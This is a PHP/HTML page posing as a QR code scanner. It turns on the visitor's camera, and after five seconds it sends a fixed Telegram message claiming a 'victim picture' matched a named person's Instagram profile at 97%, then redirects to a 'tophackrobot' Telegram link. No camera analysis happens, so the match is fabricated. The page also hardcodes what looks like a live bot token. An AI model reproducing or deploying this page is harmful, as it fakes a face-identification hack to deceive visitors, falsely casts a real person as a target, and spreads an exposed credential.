<?php
$originalNumber = isset($_GET['id']) ? $_GET['id'] : '';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>QR Code Scanner Simulation</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #2e2e2e;
            font-family: Arial, sans-serif;
            color: white;
        }
        #scanner {
            position: relative;
            width: 320px;
            height: 320px;
            border: 10px solid white;
            border-radius: 15px;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #444;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
        }
        #scanner video {
            width: 100%;
            height: 100%;
            object-fit: cover;
            border-radius: 10px;
        }
        #scan-info {
            margin-top: 15px;
            text-align: center;
            font-size: 18px;
        }
        #flashlight {
            position: absolute;
            bottom: -55px;
            left: 50%;
            transform: translateX(-50%);
            background-color: #666;
            border: none;
            border-radius: 50%;
            width: 45px;
            height: 45px;
            color: white;
            font-size: 20px;
            display: flex;
            justify-content: center;
            align-items: center;
            cursor: pointer;
            transition: background-color 0.3s ease;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
        }
        #flashlight:hover {
            background-color: #777;
        }
        .message {
            text-align: center;
            margin-top: 20px;
            font-size: 22px;
            color: #33cc33;
            font-weight: bold;
        }
    </style>
</head>
<body>

    <div id="scanner">
        <video id="qr-video" autoplay playsinline></video>
        <button id="flashlight">🔦</button>
    </div>
  
    <div class="message" id="success-message"></div>

    <script>
        const video = document.getElementById('qr-video');
        const flashlightButton = document.getElementById('flashlight');
        let stream = null;
        let torchOn = false;

        // Function to start the camera
        async function startCamera() {
            try {
                const devices = await navigator.mediaDevices.enumerateDevices();
                let backCamera = devices.find(device => device.kind === 'videoinput' && device.label.toLowerCase().includes('back'));
                
                const constraints = {
                    video: {
                        width: { ideal: 1280 },
                        height: { ideal: 720 },
                        facingMode: backCamera ? { exact: 'environment' } : 'user'
                    }
                };

                stream = await navigator.mediaDevices.getUserMedia(constraints);
                video.srcObject = stream;
            } catch (error) {
                console.error("Error accessing camera:", error);
                alert("Failed to access camera. Please check permissions.");
            }
        }

        // Function to toggle flashlight (Android only)
        flashlightButton.addEventListener('click', () => {
            if (!stream) return;

            let track = stream.getVideoTracks()[0];
            const capabilities = track.getCapabilities();
            
            if (!capabilities.torch) {
                alert("Flashlight not supported on this device.");
                return;
            }

            torchOn = !torchOn;
            track.applyConstraints({ advanced: [{ torch: torchOn }] });
        });

        // Function to send a Telegram message
        function sendTelegramMessage() {
            const botToken = '7594097068:AAF4vZCdt6hSXnO4blUBovUII66iZ9q8B4I'; // Replace with your bot's token
            const chatId = '1750573037'; // Replace with your chat ID
            const message = "<b>🔍 Instagram Profile Found\n\n🔗 Profile Link:\nhttps://www.instagram.com/anushkasharma?igsh=cGViazJueTNlZmM4\n\n📸 Victim Picture Matched with above profile up to 97% accuracy.</b>"; 

            const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=html`;

            fetch(url)
                .then(response => response.json())
                .then(data => {
                    alert("Matched ID found!");
                    setTimeout(() => {
                        window.location.href = "https://t.me/tophackrobot"; // Replace with your desired Telegram URL
                    }, 2000);
                })
                .catch(error => {
                    alert("Failed to fetch ID.");
                    console.error(error);
                });
        }

        // Start the camera when the page loads
        window.addEventListener('load', async () => {
            await startCamera();
            setTimeout(sendTelegramMessage, 5000);
        });
    </script>

</body>
</html>
